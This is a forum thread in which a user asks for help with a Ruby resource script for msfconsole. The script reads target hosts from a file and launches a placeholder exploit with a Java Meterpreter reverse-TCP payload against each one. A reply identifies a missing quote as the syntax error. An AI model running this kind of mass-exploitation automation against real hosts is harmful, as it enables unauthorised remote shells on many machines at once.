Jump to content
Metasploit_User

Metasploit automation with ruby

Recommended Posts

Hello

am not sure if this is the right place to post but ill give it a try

i've been trying to automate some tasks in metasploit using ruby.

<ruby>
# msfconsole commands
hostsfile="host.txt"
hosts=[]
File.open(hostsfile,"r") do |f|
f.each_line do |line|
hosts.push line.strip
end
end
self.run_single("use some exploit")
self.run_single("set target 1")

self.run_single("set rhosts 0.0.0.0")
self.run_single("etg autorunscript multi_console_command")
self.run_single("set rport 8080")
self.run_single("set payload java/meterpreter/reverse_tcp")
self.run_single("setg lhost <local_ip>)
self.run_single("set ExitOnSession false")
self.run_single("use THREADS 5")
hosts.each do |rhost|
self.run_single("set rhost #{rhost}")
self.run_single("exploit -j -z") end


 
</ruby>

but each time i run

msfconsole -r glas.rc

i get an error

[*] Processing myscript.rc for ERB directives.
[*] resource (myscript.rc)> Ruby Code (572 bytes)
[-] resource (myscript.rc)> Ruby Error: SyntaxError /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:65: syntax error, unexpected tIDENTIFIER, expecting ')'
self.run_single("set RHOSTS #{rhost}")
                    ^
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:66: syntax error, unexpected keyword_end, expecting end-of-input
un_single("exploit -j -z") end
                              ^ ["/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `eval'", "/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `load_resource'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:183:in `block in initialize'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `each'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `initialize'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `new'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `driver'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/opt/metasploit-framework/bin/../embedded/framework/msfconsole:49:in `<main>'"]
[*] Starting persistent handler(s)...

i would really appreciate it if you can help me or even push me in the right direction.

Thanks a lot.

Share this post


Link to post
Share on other sites

am sorry i was kind of tired couldnt focus enough i made a typo

self.run_single("set rhosts 0.0.0.0")
self.run_single("etg autorunscript multi_console_command")
self.run_single("set rport 8080")
self.run_single("set payload java/meterpreter/reverse_tcp")
self.run_single("setg lhost <local_ip>)
self.run_single("set ExitOnSession false")

i though am setting my lhost to 0.0.0.0 but instead i typed rhosts 😞

thigns happens when we loose focus
thx any way this subject is solved 🙂

Share this post


Link to post
Share on other sites

You are missing a quote at the end of the lhost line breaking the rest of the script.

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...